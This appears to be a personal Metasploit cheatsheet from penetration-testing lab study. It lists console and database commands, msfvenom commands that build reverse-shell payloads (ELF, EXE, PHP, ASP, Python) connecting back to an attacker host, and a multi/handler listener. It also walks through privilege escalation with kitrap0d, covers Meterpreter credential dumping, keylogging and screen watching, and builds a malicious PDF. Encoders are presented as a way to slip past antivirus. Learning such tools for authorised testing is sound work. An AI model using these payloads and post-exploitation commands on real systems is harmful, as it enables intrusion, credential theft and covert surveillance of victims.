Metaspolit
Metasploit Cheatsheet
wordlists /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
To read file enclose multi path files in colons
cat "c:\inetpub\wwwroot\realsecret.txt",
cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt"
Main Components Auxiliary - Any supporting module, such as scanners, crawlers and fuzzers, can be found here.
Encoders - Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.
Evasion - evasion” modules will try that, with more or less success.
Exploits, neatly organized by target system Payloads are codes that will run on the target system.
Console Commands
ls - list contents
ping -c 1 - send a single ping
clear - to clear terminal screen
help - use to help menu for specific commands
history - see commands typed earlier
tab - auto completes type commands
use - use exploit, can also use with number ( use 0)
options - print options related to the exploit chosen
show - used in any context followed by a module type to list available modules ((auxiliary, payload, exploit, etc.)
back - to eave the context
info - to obtain further information on any module within its context. can also be used with path ( info exploit/windows/smb/ms17_010_eternalblue)
search - search the Metasploit Framework database for modules relevant to the given search parameter ( search ms17-010)
search cve:2017 name:smb - search exploit based on cve code
search MS12-020 - search exploit base on Microsoft identifier code
search type: auxiliary telnet - use to direct the search function using keywords such as type and platform
msfconsole - start metasploit console
set - parameters are set using the same command syntax: set PARAMETER_NAME VALUE. Can also be used to override any set parameter
setg - use to set value to use for all modules
unsetg - clear any set value
unset - clear any parameter value
unset all - clear all set parameters
exploit / run - launch module
exploit - z - run exploit and background session as it opens
check - check target system is vulnerable without exploiting
session - created after vulnerability has been successfully created ( comms channel between target system and Metasploit)
background - background session and go back to msfconsle prompt or CTRL + Z
search portscan - for port scanning
Nmap - for nmap scans (nmap -sC -sV ip address)
exit - exit msf console
chmod 777 - set file permissions after download
show payload - to show payloads
Metasploit Database
Help to simplify project management and avoid possible confusion when setting up parameter values. Allow for creating isolated workspaces
systemctl start postgresql - start PostgreSQl database
msfdb init - initialize Metasploit Database
db_status - check database status
workspace - list available workspace ( -a - add a workspace, -d - to delete workspace)
workspace [workspace_name] - use to change workspace.
workspac -h (help) - list available options for workspace
help - show database backend commands
db_nmap command - save Nmap scans to database
hosts and services - see relevant information on host and services running on target systems
host - h , services -h - to acces help options
services -S - to search for specific services
hosts -R - to add RHOSTS parameter to database
Vulnerability Scanning
search - list useful modules.
info - to have better understanding of a module, its use and purpose.
Exploitation
show payloads - list other commands to use with a particular exploit.
set payload - to choose payload
CTRL+Z - send exploit session to background
CTRL+C - abort exploit session
sessions - list active sessions (-h for help)
sessions -i - to interact with session
Working with Modules
RPORT - Remote port ( preset to 80)
RHOSTS - Remote hosts, the IP address of the target system ( 10.10.10.x – 10.10.10.y)
LHOST - Localhost ip address
LPORT - Local port - the port you will use for the reverse shell to connect back to
SESSION - Each connection established to the target system using Metasploit will have a session ID
CONCURRENCY: Number of targets to be scanned simultaneously.
THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.
MODULES:
smb_version
smb_enumshares
smb_login
search http_version
netbios/nbname
Msfvenom
Msfvenom help
Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).
msfvenom -l payloads - show payloads
msfvenom --lists format - list supported output format
-f: Output format
-e - use to encode payload to invade antivirus
-p - payload
elf - payload format ( .exe, .py etc)
raw - indicates out format (base 64)
MSF - Setting Up Multi/Handler
used as mutli handler to recieve incomming connection
run msfconsole -q: quiet
use multi/handler
set LHOST
set LPORT
then run
Reverse payloads commands
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
Local Exploit Suggester
As a tip, there is a module called the Local Exploit Suggester
. We will be using this module for this example, as the Meterpreter shell landed on the IIS APPPOOL\Web
user, which naturally does not have many permissions. Furthermore, running the sysinfo
command shows us that the system is of x86 bit architecture, giving us even more reason to trust the Local Exploit Suggester.
msf6 > search local exploit suggester
use 2376
show options
set session 2
then run
Having these results in front of us, we can easily pick one of them to test out. If the one we chose is not valid after all, move on to the next. Not all checks are 100% accurate, and not all variables are the same. Going down the list, bypassauc_eventvwr
fails due to the IIS user not being a part of the administrator's group, which is the default and expected. The second option, ms10_015_kitrap0d
, does the trick.
MSF - Local Privilege Escalation
msf6 exploit(multi/handler) > search kitrap0
use 0
show options
set LPORT
set SESSION 3
then run
Meterpreter
hashdump - use to dump the password hashes
metasploit payload for pentest, agent for command and control. runs on target system but not installed
https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions/
Core Commands
Stdapi: File system Commands
Stdapi: Networking Commands
Stdapi: System Commands
Stdapi: User interface Commands
Stdapi: Webcam Commands
Stdapi: Audio Output Commands
Priv: Elevate Commands
Priv: Password database Commands
Priv: Timestomp Commands
Commands
help - list all available commands
getpid - get process ID
ps - list running processes
msfvenom --list payloads - list payloads
grep meterpreter - only shows meterpreter payloads
show payloads - list other payloads
hashdump: Dumps the contents of the SAM database (Security Account Manager), stores user's passwords in NTLM format on Windows systems
cat: Will show the contents of a file to the screen
search: Will search for files ( search -f [filename (secrets.txt)]
run: Executes a Meterpreter script or Post module
exit : Terminate the Meterpreter session
upload: Will upload a file or directory
download: Will download a file or directory
rm: Will delete the specified file
edit: to edit a file
sysinfo: Gets info about the remote system such as OS
keyscan_start: capture keystrokes
screenshare - watch user desktop in real time
getsystem: Attempt to elevate privileges
shell: Launch a command line shell, CTRL+Z to go back
load: Load additional tools
creating client side payload using msfpc and social engineering tool Kali Linux
use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set LHOST
set LPORT
run
Last updated